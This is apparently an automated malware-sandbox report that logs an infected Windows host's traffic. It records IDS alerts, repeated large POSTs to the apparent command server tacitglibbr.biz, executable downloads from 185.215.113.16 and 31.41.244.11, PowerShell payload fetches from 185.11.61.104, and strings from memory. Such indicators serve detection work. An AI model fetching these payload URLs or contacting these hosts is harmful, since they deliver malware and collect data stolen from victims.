Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:50043 -> 172.67.177.250:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:50056 -> 172.67.164.37:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:50058 -> 172.67.177.250:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:50066 -> 172.67.177.250:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:50065 -> 172.67.164.37:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:50072 -> 172.67.164.37:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:50075 -> 172.67.177.250:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:50087 -> 172.67.177.250:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:50079 -> 172.67.164.37:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:50098 -> 172.67.177.250:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:50091 -> 172.67.164.37:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:50105 -> 172.67.164.37:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.8:50117 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:50368 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:50369 -> 31.41.244.11:80

Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: tacitglibbr.biz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: tacitglibbr.biz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 47Host: tacitglibbr.biz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=FIRQMH36UCMUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 12373Host: tacitglibbr.biz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=D5VUQ48839HUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15033Host: tacitglibbr.biz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=2UV8ZNTWSU6PUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20206Host: tacitglibbr.biz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=IIOFVG779XKCUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1271Host: tacitglibbr.biz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=2ICSFTDO22694U0QUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 578595Host: tacitglibbr.biz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 82Host: tacitglibbr.biz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: tacitglibbr.biz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 47Host: tacitglibbr.biz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=QY1NW9AYIUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 12361Host: tacitglibbr.biz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=UVFD5U3SGAL6T79Q2User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15069Host: tacitglibbr.biz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=R7VU0K10User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20182Host: tacitglibbr.biz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=UR2NBZ6H44F9Y7F629User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1324Host: tacitglibbr.biz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=L67A6EQZSTQRO6NMBUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 580094Host: tacitglibbr.biz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 82Host: tacitglibbr.biz
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00D2E0C0 recv,recv,recv,recv,

0_2_00D2E0C0

Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: httpbin.orgAccept: /
Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: httpbin.orgAccept: /
Source: global traffic	HTTP traffic detected: GET /files/martin/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /files/burpin1/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /vJNDHPUXPCEIZZjTPbLp1734325090?argument=uMs74J9HKNQYAZLN1734364945 HTTP/1.1Host: home.fivetk5pn.topAccept: /
Source: global traffic	HTTP traffic detected: GET /files/fate/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /files/cloud/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /Z.png HTTP/1.1Host: 185.11.61.104Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /A.png HTTP/1.1Host: 185.11.61.104Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /files/unique1/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /files/7055252561/p9rUYZq.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /files/flava/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /files/martin/random.exe HTTP/1.1Host: 31.41.244.11If-Modified-Since: Mon, 16 Dec 2024 14:42:45 GMTIf-None-Match: "67603c65-447c00"

Source: 47760e826c.exe, 00000028.00000002.2364079869.0000000000F88000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.fastly.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)
Source: 47760e826c.exe, 00000028.00000002.2364079869.0000000000F88000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policydefault-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.fastly.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7C185ce35c568ebbb18a145d0cabae7186; Path=/; Secure; HttpOnly; SameSite=Nonesessionid=da52bddd6cc6d96fae4d8401; Path=/; Secure; SameSite=NoneSet-CookienginxServerRetry-AfterProxy-SupportProxy-AuthenticateP3PLocationETagAuthentication-InfoAgeAccept-RangesLast-ModifiedMon, 26 Jul 1997 05:00:00 GMTExpiresContent-RangeContent-MD5Content-LocationContent-LanguageContent-Encodingtext/html; charset=UTF-8Content-Type25665Content-LengthAllowWarningViaUpgradeTransfer-EncodingTrailerPragmaKeep-AliveMon, 16 Dec 2024 16:02:46 GMTDateProxy-ConnectioncloseConnectionno-cacheCache-Control]] equals www.youtube.com (Youtube)
Source: 47760e826c.exe, 00000028.00000002.2364079869.0000000000F88000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.fastly.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: httpbin.org
Source: global traffic	DNS traffic detected: DNS query: home.fivetk5pn.top
Source: global traffic	DNS traffic detected: DNS query: drive-connect.cyou
Source: global traffic	DNS traffic detected: DNS query: se-blurry.biz
Source: global traffic	DNS traffic detected: DNS query: zinc-sneark.biz
Source: global traffic	DNS traffic detected: DNS query: dwell-exclaim.biz
Source: global traffic	DNS traffic detected: DNS query: formy-spill.biz
Source: global traffic	DNS traffic detected: DNS query: covery-mover.biz
Source: global traffic	DNS traffic detected: DNS query: dare-curbys.biz
Source: global traffic	DNS traffic detected: DNS query: print-vexer.biz
Source: global traffic	DNS traffic detected: DNS query: impend-differ.biz
Source: global traffic	DNS traffic detected: DNS query: steamcommunity.com
Source: global traffic	DNS traffic detected: DNS query: fivetk5pn.top
Source: global traffic	DNS traffic detected: DNS query: tacitglibbr.biz
Source: global traffic	DNS traffic detected: DNS query: www.google.com

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: tacitglibbr.biz

Source: 5b6b36c534.exe, 00000009.00000003.2068235769.0000000007315000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://.css
Source: 5b6b36c534.exe, 00000009.00000003.2068235769.0000000007315000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://.jpg
Source: 47760e826c.exe, 00000028.00000002.2364079869.0000000000F88000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:27060
Source: powershell.exe, 0000002A.00000002.2359938915.000001D3AFE9E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002A.00000002.2359938915.000001D3AEE77000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000033.00000002.2466870741.0000028B83200000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000033.00000002.2466870741.0000028B820D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.11.61.104
Source: powershell.exe, 00000033.00000002.2466870741.0000028B820D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.11.61.104/A.png
Source: powershell.exe, 00000033.00000002.2466870741.0000028B83200000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.11.61.104/A.pngX
Source: powershell.exe, 0000002A.00000002.2359938915.000001D3AEE77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.11.61.104/Z.png
Source: powershell.exe, 0000002A.00000002.2359938915.000001D3AFE9E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.11.61.104/Z.pngX
Source: powershell.exe, 0000002A.00000002.2359938915.000001D3B027B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000033.00000002.2466870741.0000028B83200000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.11.H
Source: 93121e2127.exe, 00000032.00000003.2446823756.00000000015BF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microh
Source: powershell.exe, 00000033.00000002.2636545702.0000028BFFFB5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microsoft
Source: 8cb1e32b25.exe, 00000029.00000002.2417823905.00000000011CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://go.mic?
Source: 5b6b36c534.exe, 00000009.00000003.2068235769.0000000007315000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://home.fivetk5pn.top/vJNDHPUXPCEIZZjTPbLp17
Source: 5b6b36c534.exe, 00000009.00000003.2068235769.0000000007315000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://html4/loose.dtd
Source: powershell.exe, 0000002A.00000002.2359938915.000001D3B0536000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002A.00000002.2385623790.000001D3BECBA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000033.00000002.2556831562.0000028B91F19000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000033.00000002.2466870741.0000028B83884000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000033.00000002.2466870741.0000028B820D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 0000002A.00000002.2359938915.000001D3AEC51000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000031.00000002.2358310864.0000000002EC1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000033.00000002.2466870741.0000028B81EB1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: 47760e826c.exe, 00000028.00000003.2361716427.0000000000FBC000.00000004.00000020.00020000.00000000.sdmp, 47760e826c.exe, 00000028.00000003.2361716427.0000000000FC2000.00000004.00000020.00020000.00000000.sdmp, 47760e826c.exe, 00000028.00000002.2363724217.0000000000F2C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/account/cookiepreferences/
Source: 47760e826c.exe, 00000028.00000003.2361716427.0000000000FBC000.00000004.00000020.00020000.00000000.sdmp, 47760e826c.exe, 00000028.00000003.2361716427.0000000000FC2000.00000004.00000020.00020000.00000000.sdmp, 47760e826c.exe, 00000028.00000002.2363724217.0000000000F2C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/privacy_agreement/
Source: 47760e826c.exe, 00000028.00000003.2361716427.0000000000FBC000.00000004.00000020.00020000.00000000.sdmp, 47760e826c.exe, 00000028.00000003.2361716427.0000000000FC2000.00000004.00000020.00020000.00000000.sdmp, 47760e826c.exe, 00000028.00000002.2363724217.0000000000F2C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/subscriber_agreement/
Source: 06c6a4fd29.exe, 0000000A.00000003.2190083571.0000000002541000.00000004.00000020.00020000.00000000.sdmp, 06c6a4fd29.exe, 0000000A.00000000.2183220047.0000000000423000.00000002.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://usbtor.ru/viewtopic.php?t=798)Z
Source: powershell.exe, 0000002A.00000002.2359938915.000001D3B02A9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000033.00000002.2466870741.0000028B8350E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: powershell.exe, 00000033.00000002.2466870741.0000028B820D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: 47760e826c.exe, 00000028.00000003.2361716427.0000000000FC2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.valvesoftware.com/legal.htm
Source: powershell.exe, 0000002A.00000002.2359938915.000001D3AEC51000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000033.00000002.2466870741.0000028B81EB1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: 47760e826c.exe, 00000028.00000002.2364079869.0000000000F88000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.steampowered.com/
Source: 47760e826c.exe, 00000028.00000002.2364079869.0000000000F88000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://broadcast.st.dl.eccdnx.com
Source: 47760e826c.exe, 00000028.00000002.2364079869.0000000000F88000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/
Source: 47760e826c.exe, 00000028.00000002.2364079869.0000000000F88000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://checkout.steampowered.com/
Source: 47760e826c.exe, 00000028.00000002.2364079869.0000000000F88000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/
